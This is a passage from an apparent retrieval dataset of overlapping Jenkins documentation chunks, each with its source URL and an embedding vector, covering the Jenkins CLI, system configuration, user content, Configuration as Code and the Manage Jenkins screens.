in this example), and xref:#authentication[Authentication] configured, any modern SSH client may securely execute CLI commands. [#authentication] === Authentication Whichever user used for authentication with the Jenkins controller must have the `Overall/Read` permission in order to \_access\_ the CLI. The user may require additional permissions depending on the commands executed. Authentication in SSH mode relies on SSH-based public/private key authentication. In order to add an SSH public key for the appropriate user, navigate to `https://JENKINS\_URL/me/security` and paste an SSH public key into the appropriate text area. image::user-docs:managing:cli-adding-ssh-public-keys.png["Adding public SSH keys for a user", role=center] [#common-commands] === Common Commands Jenkins has a number of built-in CLI commands which can be found in every Jenkins environment, such as `build` or `list-jobs`. Plugins may also provide CLI commands; in order to determine the full list of commands available in a given Jenkins environment, execute the CLI `help` command: [source] ---- % ssh -l kohsuke -p 53801 localhost help ---- The following list of commands is not comprehensive, but it is a useful starting point for Jenkins CLI usage. ==== build One of the most common and useful CLI commands is `build`, which allows the user to trigger any job or Pipeline for which they have permission. The most basic invocation will simply trigger the job or Pipeline and exit, but with the additional options a user may also pass parameters, poll SCM, or even follow the console output of the triggered build or Pipeline run. [source] ---- % ssh -l kohsuke -p 53801 localhost help build java -jar jenkins-cli.jar build JOB [-c] [-f] [-p] [-r N] [-s] [-v] [-w] Starts a build, and optionally waits for a completion. Aside from general scripting use, this command can be used to invoke another job from within a build of one job. With the -s option, this command changes the exit code based on the outcome of the build (exit code 0 indicates a success) and interrupting the command will interrupt the job. With the -f option, this command changes the exit code based on the outcome of the build (exit code 0 indicates a success) however, unlike -s, interrupting the command will not interrupt the job (exit code 125 indicates the command was interrupted). With the -c option, a build will only run if there has been an SCM change. JOB : Name of the job to build -c : Check for SCM changes before starting the build, and if there's no change, exit without doing a
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/managing/pages/cli.adoc
main
jenkins
[ -0.06781895458698273, 0.020618639886379242, -0.002924810629338026, -0.07385282218456268, -0.009333292953670025, -0.045897696167230606, -0.04689019173383713, -0.012690405361354351, 0.047657743096351624, -0.0520782396197319, -0.01849108189344406, -0.01276815589517355, 0.03666840121150017, 0....
0.131342
code 125 indicates the command was interrupted). With the -c option, a build will only run if there has been an SCM change. JOB : Name of the job to build -c : Check for SCM changes before starting the build, and if there's no change, exit without doing a build -f : Follow the build progress. Like -s only interrupts are not passed through to the build. -p : Specify the build parameters in the key=value format. -s : Wait until the completion/abortion of the command. Interrupts are passed through to the build. -v : Prints out the console output of the build. Use with -s -w : Wait until the start of the command % ssh -l kohsuke -p 53801 localhost build build-all-software -f -v Started build-all-software #1 Started from command line by admin Building in workspace /tmp/jenkins/workspace/build-all-software [build-all-software] /bin/sh -xe /tmp/hudson1100603797526301795.sh + echo hello world hello world Finished: SUCCESS Completed build-all-software #1 : SUCCESS % ---- ==== console Similarly useful is the `console` command, which retrieves the console output for the specified build or Pipeline run. When no build number is provided, the `console` command will output the last completed build's console output. [source] ---- % ssh -l kohsuke -p 53801 localhost help console java -jar jenkins-cli.jar console JOB [BUILD] [-f] [-n N] Produces the console output of a specific build to stdout, as if you are doing 'cat build.log' JOB : Name of the job BUILD : Build number or permalink to point to the build. Defaults to the last build -f : If the build is in progress, stay around and append console output as it comes, like 'tail -f' -n N : Display the last N lines % ssh -l kohsuke -p 53801 localhost console build-all-software Started from command line by kohsuke Building in workspace /tmp/jenkins/workspace/build-all-software [build-all-software] /bin/sh -xe /tmp/hudson1100603797526301795.sh + echo hello world yes Finished: SUCCESS % ---- ==== who-am-i The `who-am-i` command is helpful for listing the current user's credentials and permissions available to the user. This can be useful when debugging the absence of CLI commands due to the lack of certain permissions. [source] ---- % ssh -l kohsuke -p 53801 localhost help who-am-i java -jar jenkins-cli.jar who-am-i Reports your credential and permissions. % ssh -l kohsuke -p 53801 localhost who-am-i Authenticated as: kohsuke Authorities: authenticated % ---- == Using the CLI client While the SSH-based CLI is fast and covers most needs, there may be situations where the CLI client distributed with Jenkins is a better fit. For example, the default transport for the CLI client is HTTP which means no additional ports need to be opened in a firewall for its use. === Comparing SSH and CLI client Both SSH and jenkins-cli.jar provide access to a set of commands that lets you interact with Jenkins from a command line, but they have a few differences: \* Jenkins SSH does not require any custom jar file on the client side, making it easier to access Jenkins from a variety of sources \* SSH client was build to be a generic tool to serve several purposes. It doesn't offer an easy way to do basic things that are common and specific to Jenkins environments. Using the `jenkins-cli.jar` instead of the ssh client may increase productivity and improve the development experience === Downloading the client The CLI client can be downloaded directly from a Jenkins controller at the URL `/jnlpJars/jenkins-cli.jar`, in effect `https://JENKINS\_URL/jnlpJars/jenkins-cli.jar` While a CLI `.jar` can be used against different versions of Jenkins, should any compatibility issues arise during use, please re-download the latest `.jar` file from the Jenkins controller.
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/managing/pages/cli.adoc
main
jenkins
[ 0.014230549335479736, 0.03398911654949188, -0.011451027356088161, -0.027020953595638275, 0.0755891278386116, -0.005515747237950563, -0.08222899585962296, -0.06728793680667877, -0.02853473089635372, 0.02975919097661972, 0.019781259819865227, -0.0864705815911293, -0.025370223447680473, -0.05...
-0.008124
Downloading the client The CLI client can be downloaded directly from a Jenkins controller at the URL `/jnlpJars/jenkins-cli.jar`, in effect `https://JENKINS\_URL/jnlpJars/jenkins-cli.jar` While a CLI `.jar` can be used against different versions of Jenkins, should any compatibility issues arise during use, please re-download the latest `.jar` file from the Jenkins controller. === Using the client The general syntax for invoking the client is as follows: [source] ---- java -jar jenkins-cli.jar [-s JENKINS\_URL] [global options...] command [command options...] [arguments...] ---- The `JENKINS\_URL` can be specified via the environment variable `$JENKINS\_URL`. Summaries of other general options can be displayed by running the client with no arguments at all. === Client connection modes There are three basic modes in which the client may be used, selectable by global option: `-webSocket`, `-http` and `-ssh`. ==== WebSocket connection mode This is the default mode, though you may pass the `-webSocket` option explicitly for clarity. The advantage is that a more standard transport is used, avoiding problems with many reverse proxies or the need for special proxy configuration. ==== HTTP connection mode Starting from Jenkins 2.391, the default mode is `-webSocket`. To use the HTTP mode, you must explicitly pass the `-http` option. Authentication is preferably with an `-auth` option, which takes a `username:apitoken` argument. Get your API token from `/me/configure`: [source] ---- java -jar jenkins-cli.jar [-s JENKINS\_URL] -auth kohsuke:abc1234ffe4a command ... ---- (Actual passwords are also accepted, but this is discouraged.) You can also precede the argument with `@` to load the same content from a file: [source] ---- java -jar jenkins-cli.jar [-s JENKINS\_URL] -auth @/home/kohsuke/.jenkins-cli command ... ---- [WARNING] ==== For security reasons the use of a file to load the authentication credentials is the recommended authentication way. ==== An alternative authentication method is to configure environment variables in a similar way as the `$JENKINS\_URL` is used. The `username` can be specified via the environment variable `$JENKINS\_USER\_ID` while the `apitoken` can be specified via the variable `$JENKINS\_API\_TOKEN`. Both variables have to be set all at once. [source] ---- export JENKINS\_USER\_ID=kohsuke export JENKINS\_API\_TOKEN=abc1234ffe4a java -jar jenkins-cli.jar [-s JENKINS\_URL] command ... ---- In case these environment variables are configured you could still override the authentication method using different credentials with the `-auth` option, which takes preference over them. Generally no special system configuration need be done to enable HTTP-based CLI connections. If you are running Jenkins behind an HTTP(S) reverse proxy, ensure it does not buffer request or response bodies. [WARNING] ==== This mode is known to not work reliably or at all when using certain reverse proxies. Prefer WebSocket mode. ==== ==== SSH connection mode Authentication is via SSH keypair. You must select the Jenkins user ID as well: [source] ---- java -jar jenkins-cli.jar [-s JENKINS\_URL] -ssh -user kohsuke command ... ---- In this mode, the client acts essentially like a native `ssh` command. By default the client will try to connect to an SSH port on the same host as is used in the `JENKINS\_URL`. If Jenkins is behind an HTTP reverse proxy, this will not generally work, so run Jenkins with the system property `-Dorg.jenkinsci.main.modules.sshd.SSHD.hostName=ACTUALHOST` to define a hostname or IP address for the SSH endpoint. === Common Problems with the CLI client There are a number of common problems that may be experienced when running the CLI client. ==== Server key did not validate You may get the error below and find a log entry just below that concerning `mismatched keys`: [source] ---- org.apache.sshd.common.SshException: Server key did not validate at org.apache.sshd.client.session.AbstractClientSession.checkKeys(AbstractClientSession.java:523) at org.apache.sshd.common.session.helpers.AbstractSession.handleKexMessage(AbstractSession.java:616) ... ---- This means your SSH configuration does not recognize the public key presented by the server. It's often the
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/managing/pages/cli.adoc
main
jenkins
[ -0.07154835760593414, 0.044476862996816635, 0.010915650054812431, -0.08555831015110016, 0.00576704042032361, 0.006734067108482122, -0.03689902648329735, -0.009883486665785313, 0.0697672963142395, -0.04207789525389671, -0.020575813949108124, -0.009368998929858208, -0.01120415423065424, 0.02...
0.03564
validate You may get the error below and find a log entry just below that concerning `mismatched keys`: [source] ---- org.apache.sshd.common.SshException: Server key did not validate at org.apache.sshd.client.session.AbstractClientSession.checkKeys(AbstractClientSession.java:523) at org.apache.sshd.common.session.helpers.AbstractSession.handleKexMessage(AbstractSession.java:616) ... ---- This means your SSH configuration does not recognize the public key presented by the server. It's often the case when you run Jenkins in dev mode and multiple instances of the application are run under the same SSH port over time. In a development context, access your `~/.ssh/known\_hosts` (or in `C:/Users//.ssh/known\_hosts` for Windows) and remove the line corresponding to your current SSH port (e.g. `[localhost]:3485`). In a production context, check with the Jenkins administrator if the public key of the server changed recently. If so, ask the administrator to do the the steps described above. ==== UsernameNotFoundException If your client displays a stacktrace that looks like: [source] ---- org.acegisecurity.userdetails.UsernameNotFoundException: ... ---- This means your SSH keys were recognized and validated against the stored users but the username is not valid for the security realm your application is using at the moment. This could occur when you were using the Jenkins database initially, configured your users, and then switched to another security realm (like LDAP, etc.) where the defined users do not exist yet. To solve the problem, ensure your users exist in your configured security realm. ==== Troubleshooting logs To get more information about the authentication process: . Go into \*Manage Jenkins\* > \*System Log\* > \*Add new log recorder\*. . Enter any name you want and click on \*Ok\*. . Click on \*Add\* . Type `org.jenkinsci.main.modules.sshd.PublicKeyAuthenticatorImpl` (or type `PublicKeyAuth` and then select the full name) . Set the level to \*ALL\*. . Repeat the previous three steps for `hudson.model.User` . Click on \*Save\* When you try to authenticate, you can then refresh the page and see what happen internally.
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/managing/pages/cli.adoc
main
jenkins
[ 0.046125151216983795, 0.0002332441945327446, 0.03154173493385315, -0.048487287014722824, -0.0009625721722841263, -0.07007965445518494, -0.06677468866109848, -0.06840017437934875, 0.08088763803243637, 0.02145973965525627, -0.013062171638011932, -0.025330761447548866, 0.07681217044591904, 0....
-0.033665
= Configuring the System Jenkins stores its global configuration in files on the Jenkins controller. Administrators and privileged users modify the global configuration from the Jenkins configuration pages. == Jenkins home directory The `JENKINS\_HOME` directory is the root of the directory structure on disk that Jenkins uses to perform builds and keep archives. The Jenkins home directory is listed in \*Manage Jenkins\* > \*System\* under the \*Home directory\* heading. image:images:ROOT:system-administration/administering-jenkins/home-dir.png[Home dir] \* On Windows by default, this is set to `C:\ProgramData\Jenkins\.jenkins`. \* On Ubuntu by default, this is set to `~/.jenkins`. But you can change this in one of the following ways: \* Set the `JENKINS\_HOME` environment variable. \* Set the `JENKINS\_HOME` Java system property. You can change this location after you've used Jenkins for a while, too. To do this: . Stop Jenkins completely. . Move the contents from the old `JENKINS\_HOME` to the new location. . Set the `JENKINS\_HOME` variable to the new location. . Restart Jenkins. The directory structure of the `JENKINS\_HOME` tree is often structured as follows: [width="100%",cols="100%",] |=== a| .... JENKINS\_HOME +- builds (build records) +- [BUILD\_ID] (subdirectory for each build) +- build.xml (build result summary) +- changelog.xml (change log) +- config.xml (Jenkins root configuration file) +- \*.xml (other site-wide configuration files) +- fingerprints (stores fingerprint records, if any) +- identity.key.enc (RSA key pair that identifies an instance) +- jobs (root directory for all Jenkins jobs) +- [JOBNAME] (sub directory for each job) +- config.xml (job configuration file) +- [FOLDERNAME] (sub directory for each folder) +- config.xml (folder configuration file) +- jobs (subdirectory for all nested jobs) +- plugins (root directory for all Jenkins plugins) +- [PLUGIN] (sub directory for each plugin) +- [PLUGIN].jpi (.jpi or .hpi file for the plugin) +- secret.key (deprecated key used for some plugins' secure operations) +- secret.key.not-so-secret (used for validating \_$JENKINS\_HOME\_ creation date) +- secrets (root directory for the secret+key for credential decryption) +- hudson.util.Secret (used for encrypting some Jenkins data) +- master.key (used for encrypting the hudson.util.Secret key) +- InstanceIdentity.KEY (used to identity this instance) +- userContent (files served under your https://server/userContent/) +- workspace (working directory for the version control system) .... |=== == Configuring the system page The \*Configure System\* page (`/manage/configure`) allows administrators to configure global settings for the Jenkins controller. Below are the key sections available on this page: === System message The system message is displayed at the top of every page in Jenkins. It can be used to communicate important information to all users, such as maintenance schedules or announcements. Example: [source] ---- The system is undergoing maintenance on YYYY-MM-DD. Expect downtime. ---- === Number of executors The number of executors determines how many concurrent builds Jenkins can perform. For Jenkins controllers, it is recommended to set this to `0` to avoid resource contention. Executors should be configured on agents (nodes) instead. [NOTE] ==== \*Why set executors to 0 on the controller?\* Setting executors to `0` ensures that the controller is dedicated to managing builds and coordinating agents, rather than executing builds itself. This improves stability and performance. For instance, agents with specific capabilities can be configured with multiple executors to handle concurrent builds effectively. ==== === Labels Labels are used to group agents (nodes) based on specific criteria. They help in assigning jobs to specific agents. For example, you can label agents based on their operating system or hardware capabilities. Example: [source] ---- linux, windows, docker, high-memory ---- Labels can be assigned in the agent configuration settings. === Usage This section defines how jobs are assigned to agents. Options include: \* \*Utilize this node as much as possible\*: Jobs will be assigned
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/managing/pages/system-configuration.adoc
main
jenkins
[ -0.00048370478907600045, 0.03390427306294441, -0.001973676262423396, 0.005886890925467014, 0.008095361292362213, -0.03815228119492531, -0.04129484295845032, -0.017979489639401436, 0.03397972136735916, -0.003067497629672289, -0.053261686116456985, 0.03063795529305935, 0.035175975412130356, ...
0.050796
based on their operating system or hardware capabilities. Example: [source] ---- linux, windows, docker, high-memory ---- Labels can be assigned in the agent configuration settings. === Usage This section defines how jobs are assigned to agents. Options include: \* \*Utilize this node as much as possible\*: Jobs will be assigned to this node whenever possible \* \*Only build jobs with label expressions matching this node\*: Jobs will only be assigned if their label matches === Quiet period The quiet period defines a delay before a build starts after a change is detected. This helps avoid triggering multiple builds for closely spaced changes. Example: [source] ---- Set a quiet period of 5 seconds to batch changes. ---- This is particularly useful for version control integrations, where commits may occur in quick succession. === Jenkins location This section defines the URL of the Jenkins controller. It is important for proper communication with agents and external tools. If Jenkins is behind a reverse proxy, ensure the URL matches the proxy configuration. [NOTE] ==== For detailed instructions on configuring a reverse proxy, refer to the xref:system-administration:reverse-proxy-configuration-with-jenkins.adoc[reverse proxy configuration] guide. ==== === Usage statistics Jenkins collects anonymous usage statistics to help improve the software. This section allows you to opt-in or opt-out of this feature. === Plugin-specific configuration Many plugins add their own global configuration options to the \*Configure System\* page. Since plugins extend Jenkins functionality, their settings often appear in this section and provide options for customization and fine-tuning. Refer to the online help for each plugin to understand these settings. [NOTE] ==== \*Tip:\* Use the question mark (`?`) icon next to each setting to access detailed help for that specific configuration. ==== == Additional resources \* xref:system-administration:index.adoc[System Administration] \* xref:security:index.adoc[Security Configuration] \* xref:managing:plugins.adoc[Managing Plugins]
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/managing/pages/system-configuration.adoc
main
jenkins
[ -0.06250017136335373, 0.008288792334496975, -0.03188180923461914, 0.02446707710623741, 0.003690689569339156, -0.03784359619021416, -0.02012753114104271, -0.0887555330991745, 0.026614239439368248, -0.033636219799518585, -0.035852812230587006, -0.025917518883943558, -0.013988642022013664, -0...
0.142798
= User Content Jenkins has a mechanism known as "User Content", where administrators can place files inside `$JENKINS\_HOME/userContent`, and these files are served from \http://yourhost/jenkins/userContent. This can be thought of as a mini HTTP server to serve images, stylesheets, and other static resources that you can use from various description fields inside Jenkins. \* Note that these files are not subject to any access controls beyond requiring Overall/Read access. \* See link:https://plugins.jenkins.io/git-userContent/[Git userContent plugin] for how to manage these files through a Git repository.
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/managing/pages/user-content.adoc
main
jenkins
[ -0.010983329266309738, 0.02028670720756054, -0.029766449704766273, 0.04479070380330086, 0.00017094466602429748, -0.0883127748966217, 0.04995706304907799, 0.03967573493719101, 0.04913041368126869, -0.014866423793137074, -0.029865998774766922, 0.05269600450992584, 0.026524636894464493, 0.010...
0.132512
= Configuration as Code The Jenkins Configuration as Code (JCasC) feature defines Jenkins configuration parameters in a human-readable YAML file that can be stored as source code. This essentially captures the configuration parameters and values that are used when configuring Jenkins from the web UI. The configuration can then be modified by editing this file and then applying it. [NOTE] ==== Traditionally, experienced Jenkins administrators created Apache Groovy `init` scripts to automate the configuration for their Jenkins controllers. This works but requires in-depth understanding of Jenkins APIs and the ability to write Groovy scripts. Such scripts are powerful and can do almost anything, but they also provide few protections against configuration errors. ==== JCasC provides the convenience and flexibility of configuring controllers without using the UI. It does not require more understanding of the configuration parameters than is required to configure Jenkins through the UI and it provides some checks on the values that are provided. The JCasC configuration file can be checked into an SCM, which enables you to determine who made what modifications to the configuration and to roll back to a previous configuration if necessary. The link:https://plugins.jenkins.io/configuration-as-code[Configuration as Code] plugin must be installed on the Jenkins controller that you will use to build out your JCasC configuration. If you do not see the \*Configuration as Code\* tile in the \*System Configuration\* section of the \*Manage Jenkins\* page on your dashboard, you need to install the plugin. == Viewing the JCasC file When the Configuration as Code plugin is installed, you will see \*Configuration as Code\* in the \*System Configuration\* section of the \*Manage Jenkins\* page on your dashboard. Click on this link, then click on \*View Configuration\* to view the YAML file. This file is an export of the current configuration on this controller. In most cases, it is ready to use without modification although you usually want to customize it before deploying it. You may want to push the unmodified version to SCM so you have it as part of your history. [NOTE] ==== The \*Configuration as Code\* UI page shows the full pathname of the YAML file being used and gives a box where you can specify a different file to use. See the information below about how to modify the location used for JCasC YAML files. ==== The default JCasC YAML file has four sections: \* `jenkins` section defines the root Jenkins object, with configurations that can be set with the \*Manage Jenkins >> System\* and \*Manage Jenkins >> Configure Nodes and Clouds\* screens. \* `tool` section defines build tools that can be set on the \*Manage Jenkins >> Tools\* screen. \* `unclassified` section defines all other configurations, including configuration for installed plugins. \* `credentials` section defines credentials that can be set on the \*Manage Jenkins >> Manage Credentials\* screen. You may want to delete this section from your YAML file; this is discussed in link:https://youtu.be/ANU7jkxbZSM?t=1673[How to Install Jenkins Using Ansible and JCasC]. == YAML file syntax JCasC defines the controller configuration in a YAML file. YAML is a popular serialization language for configuration information, with a syntax that is straight-forward and easy to read but precise. Some key points about YAML syntax: \* YAML files are case sensitive. \* Indentation is very significant and specific. \* Each item is a key/value pair. \*\* The key is followed by a colon (`:`) and a space. \*\* YAML converts certain strings into other types unless they are in quotes. \*\*\* Values such as `true`, `false`, `Yes`, and `No` are converted to Boolean values. \*\*\* Values such as `2` and `3.0` are converted to floating point
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/managing/pages/casc.adoc
main
jenkins
[ -0.09286118298768997, -0.02193537913262844, -0.04317173734307289, 0.02372032031416893, -0.017120225355029106, -0.06137937307357788, 0.008532187901437283, -0.0292609054595232, -0.015722716227173805, -0.01667315885424614, -0.044479772448539734, -0.014007845893502235, 0.051320403814315796, -0...
0.078163
The key is followed by a colon (`:`) and a space. \*\* YAML converts certain strings into other types unless they are in quotes. \*\*\* Values such as `true`, `false`, `Yes`, and `No` are converted to Boolean values. \*\*\* Values such as `2` and `3.0` are converted to floating point values. \* A value can be a list: \*\* Each list item is on a separate line starting with a dash (`-`). \*\* Each list item in the file must start at the same indentation. \*\*\* Use spaces, never tabs, for indentation. \*\* Never leave a blank line in a YAML file -- things will break! See the link:https://yaml.org/refcard.html[YAML Reference Card] for more details about YAML file syntax. == Checking the YAML files into SCM To get the maximum benefit of JCasC, the YAML files should be stored in SCM. This gives you a history that you can use to trace changes that are made and allow you to easily roll back to an earlier version of the file if necessary. JCasC does not require that the file be stored in SCM and so does not enforce any rules about how you do this. The most common practice is to create one SCM repository in which you store all of your JCasC files. If you are storing your JCasC YAML files in SCM, you should commit the first default file that is generated, before you make any modifications to the file. == Modifying the JCasC file To modify the JCasC YAML file, use the text editor of your choice to edit the file that is listed on the \*Manage Jenkins >> Configuration as Code\* UI page. By default, this is \_$JENKINS\_HOME/jenkins.yaml\_. For a simple exercise to work through the process, you can modify the value of the "System Message" that is displayed on the Jenkins dashboard. . Open the JCasC YAML file with the text editor of your choice. . Find the `systemMessage` line near the top of the file: + [source,yaml] ---- jenkins: systemMessage: "Jenkins configured automatically by Jenkins Configuration as Code plugin\n\n" ---- . Modify the text between the quotation marks to contain your new text . Write/save the file . Click the \*Reload existing configuration\* button to apply the changes . View the modified "System Message" on your dashboard [NOTE] ==== It is not necessary to restart Jenkins to apply the JCasC changes, although you should try to restart Jenkins with the modifications before you check the modified YAML file into SCM, especially when making more substantive configuration changes. ==== When you have made and tested your desired changes, push the modified JCasC YAML file to your SCM. == Configuring a plugin with JCasC To configure a plugin with JCasC: . Use the UI of the current system to install and configure the plugin . Click \*Apply >> Save\* to save the configuration . Use \*Manage Jenkins >> Configuration as Code >> View Configuration\* to view the JCasC file with the plugin configured . Click on \*Download Configuration\* to save the modified configuration file locally . Edit the JCasC YAML file to modify the configuration, if necessary . Save the file . Click \*Reload existing configuration\* to load the local changes onto the Jenkins server . Verify the changes on the UI . When you have thoroughly tested the plugin configuration, push the modified YAML file to your SCM See the link:https://www.jenkins.io/blog/2021/05/20/configure-plugins-with-jcasc/[Configure Plugins with JCasC] blog for detailed instructions and an embedded video demonstration of this process. == YAML file location By default, the YAML file for the CasC configuration is located in `$JENKINS\_HOME/jenkins.yaml`. The location and
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/managing/pages/casc.adoc
main
jenkins
[ -0.045249223709106445, 0.0017063755076378584, -0.03163471072912216, -0.02615804597735405, -0.007012282498180866, -0.02186204493045807, 0.0442412905395031, -0.014949893578886986, -0.009783276356756687, 0.031998831778764725, 0.0692111998796463, -0.013775138184428215, 0.015564151108264923, -0...
0.104759
tested the plugin configuration, push the modified YAML file to your SCM See the link:https://www.jenkins.io/blog/2021/05/20/configure-plugins-with-jcasc/[Configure Plugins with JCasC] blog for detailed instructions and an embedded video demonstration of this process. == YAML file location By default, the YAML file for the CasC configuration is located in `$JENKINS\_HOME/jenkins.yaml`. The location and name of the file being used is displayed on the \*Configuration as Code\* UI page. You can specify a different file to view by typing the full pathname into the \*Path or URL\* field. You can specify a different location or a different file name for the creation of the JCasC YAML file by doing either of the following: \* Populate the `CASC\_JENKINS\_CONFIG` environment variable to point to a comma-separated list that defines where configuration files are located. \* Use the `casc.jenkins.config` Java property to control the file name and location. This is useful when installing Jenkins via a package management tool. Most package management systems support configuration files that are retained across upgrades. It is best to not modify a file installed by a package manager because it could be overwritten by an update. + On Linux systems, you can run `systemctl edit jenkins` and add the following: + [source] ---- [Service] Environment="JAVA\_OPTS=-Dcasc.jenkins.config=/jenkins/casc\_configs" ---- The file location and name can be specified as any of the following: \* Path to a folder containing a set of config files such as `/var/jenkins\_home/casc\_configs`. \* A full path to a single file such as `/var/jenkins\_home/casc\_configs/jenkins.yaml`. \* A URL pointing to a file served on the web such as `https://acme.org/jenkins.yaml`. The value of the `CASC\_JENKINS\_CONFIG` variable is unpacked according to the following rules: \* If an element of `CASC\_JENKINS\_CONFIG` points to a folder, the plugin recursively traverses the folder to find file(s) with the .yml, .yaml, .YAML, or .YML suffix. \* It excludes hidden files or files that contain a hidden folder (such as/ `jenkins/casc\_configs/.dir1/config.yaml`) in \*\*any part\*\* of the full path. \* It follows symbolic links for both files and directories. \* The order of traversal does not matter to the final outcome because all configuration files that are discovered MUST be supplementary. If a file attempts to overwrite configuration values from another file, it creates a conflict and raises a `ConfiguratorException`. === CasC configuration and UI modifications Configuration for a Jenkins controller should be implemented either with CasC or with the UI, but not by both. The system allows administrators to modify configuration options on the UI even when they were configured by CasC, but these modifications are overwritten the next time the controller restarts. You can install the link:https://github.com/jenkinsci/extended-read-permission-plugin[Extended Read Permission Plugin], which allows you to grant read-only access to configuration parameters to users. See link:https://github.com/jenkinsci/jep/blob/master/jep/224/README.adoc[JEP-224: Readonly system configuration] for more details. A small group of administrators may have write access to the UI configuration fields. They should understand that JCasC will overwrite changes they make on the UI. == For more information === General information \* link:https://www.youtube.com/watch?v=47D3H1BZi4o[Look Ma! No Hands! -- Manage Jenkins Configuration as Code] is a video of the 2018 DevOps World presentation that introduced the JCasC feature. \* link:https://www.jenkins.io/blog/2021/05/20/configure-plugins-with-jcasc/[Configure Plugins with JCasC] is a blog post with video that demonstrates how to configure a plugin with JCasC. \* link:https://www.youtube.com/watch?v=ANU7jkxbZSM[How to Install Jenkins Using Ansible and JCasC] is a video presentation with details about using JCasC. === Implementation details Much of the detailed JCasC documentation is provided in the link:https://github.com/jenkinsci/configuration-as-code-plugin/tree/master/docs[Github repository]. \*\* link:https://github.com/jenkinsci/configuration-as-code-plugin/blob/master/docs/IMPLEMENTATION.md[Implementation details] \* The link:https://github.com/jenkinsci/configuration-as-code-plugin/tree/master/demos[demos] directory contains sample \_\*.yaml\_ files for configuring specific Jenkins components and plugins, with a \_README\_ file in each directory that describes the configurations for that component. \* link:https://github.com/jenkinsci/configuration-as-code-plugin/blob/master/docs/seed-jobs.md[How to create
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/managing/pages/casc.adoc
main
jenkins
[ -0.02336340956389904, -0.07107281684875488, -0.02156107872724533, 0.042665086686611176, 0.006595923099666834, 0.0213041789829731, -0.06868953257799149, -0.027966996654868126, 0.03830570727586746, 0.04853535071015358, -0.027146395295858383, -0.00913846306502819, 0.019690856337547302, -0.006...
0.044081
Implementation details Much of the detailed JCasC documentation is provided in the link:https://github.com/jenkinsci/configuration-as-code-plugin/tree/master/docs[Github repository]. \*\* link:https://github.com/jenkinsci/configuration-as-code-plugin/blob/master/docs/IMPLEMENTATION.md[Implementation details] \* The link:https://github.com/jenkinsci/configuration-as-code-plugin/tree/master/demos[demos] directory contains sample \_\*.yaml\_ files for configuring specific Jenkins components and plugins, with a \_README\_ file in each directory that describes the configurations for that component. \* link:https://github.com/jenkinsci/configuration-as-code-plugin/blob/master/docs/seed-jobs.md[How to create the initial "seed" job with Job DSL] \* link:https://github.com/jenkinsci/configuration-as-code-plugin/blob/master/docs/usageScenarios.md[Usage scenarios] \* link:https://github.com/jenkinsci/configuration-as-code-plugin/blob/master/docs/features/configurationReload.md[Triggering Configuration Reload] \* link:https://github.com/jenkinsci/configuration-as-code-plugin/blob/master/docs/features/configExport.md[Exporting configurations] === Information for plugin developers and maintainers \*\* link:https://github.com/jenkinsci/configuration-as-code-plugin/blob/master/docs/DEVELOPER.md[Developer documentation] for JCasC \*\* link:https://github.com/jenkinsci/configuration-as-code-plugin/blob/master/docs/REQUIREMENTS.md[JCasC Requirements - guide for plugin maintainers]
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/managing/pages/casc.adoc
main
jenkins
[ -0.145530104637146, -0.07407087087631226, -0.06108119711279869, 0.044738493859767914, -0.046792421489953995, -0.012371193617582321, -0.03403868153691292, 0.007260143291205168, -0.004868967924267054, 0.005947590339928865, -0.0323595330119133, 0.018724683672189713, 0.03537118434906006, -0.03...
0.114603
= Managing Jenkins Most standard administrative tasks can be performed from the screens in the \*Manage Jenkins\* section of the dashboard. In this chapter, we look at these screens and explain how to use them. The tiles displayed on the \*Manage Jenkins\* page are grouped logically. Here we discuss the pages that are part of the standard installation. Plugins may add pages to this screen. The top of the \*Manage Jenkins\* screen may contain "Monitors" that alert you when a new version of the Jenkins software or a security update is available. Each monitor includes a description of the issue it is reporting and links to additional information about the issue Inline help is available on most \*Manage Jenkins\* pages: \* To access the help, select the `?` icon to the right of each field. \* Click the `?` icon again to hide the help text. Other system administration topics are discussed in xref:user-docs:system-administration:index.adoc[Jenkins System Administration]. == System Configuration group Screens for configuring resources for your Jenkins controller. xref:managing:system-configuration.adoc[System]:: Configure global settings and paths for the Jenkins controller xref:managing:tools.adoc[Tools]:: Configure tools, their locations, and automatic installers xref:managing:plugins.adoc[Plugins]:: Add, update, remove, disable/enable plugins that extend the functionality of Jenkins. xref:managing:nodes.adoc[Nodes and Clouds]:: Add, remove, control, and monitor the nodes used for the agents on which build jobs run. xref:managing:casc.adoc[Configuration as Code]:: Configure your Jenkins controller using a human-readable YAML file rather than the UI. This is an optional feature that appears in this group only when the plugin is installed on your controller. == Security group Screens for configuring security features for your Jenkins controller. See xref:dev-docs:security:index.adoc[Securing Jenkins] for general information about managing Jenkins security. xref:managing:system-configuration.adoc[Security]:: Set configuration parameters that secure your Jenkins controller. xref:user-docs:using-jenkins:using-credentials.adoc#adding-new-global-credentials[Manage Credentials]:: Configure the credentials that provide secure access to third-party sites and applications that interact with Jenkins. \*Credential Providers\*:: Configure credential providers and types xref:managing:users.adoc[Users]:: Manage users defined in the Jenkins user database. This is not used if you use a different security realm such as LDAP or AD. == Status Information group xref:managing:system-info.adoc[System Information]:: Displays information about the Jenkins environment. xref:system-administration:viewing-logs.adoc[System Log]:: Jenkins log that contains all `java.util.logging` output related to Jenkins. \*Load Statistics\*:: Displays information about resource utilization on you Jenkins controller. xref:managing:about-jenkins.adoc[About Jenkins]:: Provides version and license information for your Jenkins controller. == Troubleshooting group \*Manage Old Data\*:: Remove configuration information related to plugins that have been removed from the controller. == Tools and Actions group Screens for common management tasks and management tools that enable you to do administrative tasks without using the UI. \*Reload Configuration from Disk\*:: Discard all data that is loaded in memory and reload everything from the file system. This is useful when you modify configuration files directly on disk. xref:dev-docs:cli:index.adoc[Jenkins CLI]:: How to use the Jenkins CLI from a shell or script. xref:managing:script-console.adoc[Script Console]:: Execute an Apache Groovy script for administration, troubleshooting, and 